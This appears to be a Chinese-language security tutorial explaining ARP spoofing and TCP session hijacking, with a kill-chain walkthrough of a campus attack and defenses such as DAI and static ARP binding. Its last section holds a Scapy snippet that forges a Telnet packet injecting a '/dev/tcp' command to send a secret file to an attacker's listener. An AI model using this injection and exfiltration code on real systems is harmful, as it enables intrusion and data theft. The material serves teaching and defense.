校园网里,小王发现自己上网异常缓慢,访问任何网站都会弹出一个奇怪的钓鱼页面。公司内网中,管理员发现本该机密的财务报表出现在了竞争对手手中,而所有日志都显示数据是从合法会话中流出的。
在网络安全领域,真正的危险往往不来自花哨的漏洞利用,而是源于那些我们每天依赖、却对其安全性习以为常的基础协议。ARP与TCP,这两个构成互联网数据传输基石的协议,因其设计之初对"信任"的朴素假设,成为了攻击者最锋利的隐形匕首。
01 ARP欺骗
ARP技术原理
- ARP是地址解析协议。
- ARP协议能够解析各种物理地址。
- ARP协议能够为多种上层协议提供服务(IP,IPX等)
- ARP的请求是广播,ARP回答是单播。广播是比较消耗资源的。
- ARP协议往往被认为是安全的隐患。
ARP请求

ARP回答

ARP欺骗原理和步骤
ARP欺骗:利用ARP协议漏洞,发送欺骗报文,修改目标主机的ARP表,使得目标主机给其他主机的报文发送到自己这里(重定向)
步骤一:

步骤二:

步骤三:

02 用CKC模型解剖一次校园网ARP欺骗
网络杀伤链(CKC)模型为我们提供了结构化理解此类攻击的绝佳视角。一次典型的校园网ARP欺骗攻击,可被清晰分解为五个阶段:
第一阶段:侦察追踪
攻击者在宿舍使用 arp-scan 工具安静地扫描整个网段。几秒钟内,他就掌握了目标同学电脑的IP(192.168.5.23)、真实的网关IP(192.168.5.1)及其MAC地址,并关键地发现目标没有启用任何ARP防火墙或静态绑定。这为他后续的攻击亮了绿灯。
第二阶段:武器构建
攻击者打开Kali Linux中的 arpspoof 工具。他不需要编写复杂代码,只需输入一行命令,配置好伪装成网关的IP 和自己网卡的MAC地址,一个定制化的"协议武器"就已就绪。
第三阶段:载荷投递
攻击程序开始以固定间隔(如每秒一次)向目标主机发送精心构造的ARP响应包。这些数据包在网络中看起来平平无奇,却承载着篡改网络路径的恶意指令。
第四阶段:漏洞利用
目标主机的网络协议栈毫无戒备地处理了这些伪造包,由于ARP协议没有验证机制,它忠实地用攻击者的MAC地址覆盖了缓存中网关的正确条目。至此,协议的"信任"设计缺陷被成功转化为攻击者的"访问控制权"。
第五阶段:目标达成
所有发往外部网络的流量(网页浏览、登录请求)都流经攻击者的机器。他可以轻松进行中间人攻击:窃取明文传输的密码、篡改网页内容插入恶意代码,或仅仅进行流量嗅探分析行为。
03 防御之道
防御ARP欺骗的核心思路,是为朴素的协议增添"验证"环节,打破其无条件信任的假设。
最根本的防御是部署网络层控制 。企业级交换机可以开启DAI(动态ARP检测) 功能。交换机会维护一张通过DHCP Snooping学习到的合法IP-MAC绑定表,任何与这张表不符的ARP包都会被直接丢弃,将欺骗扼杀在源头。
对于无法控制网络设备的环境(如家庭、宿舍),主机端防御至关重要 。可以设置静态ARP条目 ,手动将关键IP(如网关)与正确的MAC地址永久绑定,命令类似:arp -s 192.168.5.1 00-11-22-33-44-55。这就像把重要联系人的电话直接存进通讯录,不再理会陌生来电。
此外,部署能实时监控ARP缓存异常的安全软件也极为有效。这类工具会持续检查,一旦发现同一IP对应多个MAC地址(如网关MAC突然改变),或本机ARP表异常频繁更新,就会立即告警并阻断,仿佛一个警觉的"协议哨兵"。
04 TCP会话劫持
如果说ARP欺骗是篡改通信的"地址簿",那么TCP会话劫持则是在一场正在进行的加密对话中完美地插入一句话,而对话双方浑然不觉。
TCP协议通过序列号 来保证数据包的可靠、有序传输。每个字节都有一个唯一序列号,接收方通过确认序列号来告知对方"我接下来要哪个字节"。会话劫持攻击的核心,就是精确预测出接收方"下一个期望的序列号",然后伪造一个数据包,让这个假包恰好拥有对方期待的序列号,从而被当作合法数据接受。
攻击场景通常发生在Telnet、rlogin等明文管理协议 或某些缺乏足够随机性的加密会话初期。攻击者通过嗅探网络流量,可以观察到客户端与服务器之间TCP包的序列号增长规律。现代操作系统使用的序列号随机化已大大增加了预测难度,但在某些特定条件下(如初始序列号生成算法较弱、攻击者能计算时间差等),风险依然存在。
05 实施一次TCP劫持
想象攻击者要窃取服务器上一个名为 secret 的文件,而管理员正通过Telnet连接在服务器上工作。
第一步:会话监听与参数窃取
攻击者使用工具(如Wireshark)监听流量,过滤出目标Telnet会话(目的端口23)。他需要窃取构成会话唯一标识的 "四元组" :源IP、源端口、目的IP、目的端口,以及最关键的当前序列号和确认号。
第二步:恶意载荷构造
攻击者需要构造的恶意命令是:cat /home/secret > /dev/tcp/攻击者IP/9090。这条命令会将文件内容发送到攻击者监听的9090端口。由于Telnet传输的是击键信息,他需要在命令前后加上回车符(\r)来模拟执行。
第三步:伪造报文与发送
攻击者使用如Scapy 这样的强大工具来手工构造数据包。他需要精确填充IP和TCP头部信息,特别是将TCP标志位设置为 PSH+ACK(推送数据并确认),并将预测或计算出的下一个序列号填入。
python
from scapy.all import *
# 假设通过监听已获得所有必要参数
ip = IP(src="客户端IP", dst="服务器IP")
tcp = TCP(sport=源端口, dport=23, flags="PA", seq=预测的序列号, ack=当前的确认号)
data = "\r cat /home/secret > /dev/tcp/10.0.2.70/9090 \r" # 恶意命令
pkt = ip/tcp/data
send(pkt, verbose=0)
第四步:结果接收
在攻击者的机器上,他早已运行 nc -lv 9090 监听端口。当伪造的TCP包被服务器接受并执行后,机密文件的内容就会通过网络,悄无声息地流入攻击者的终端。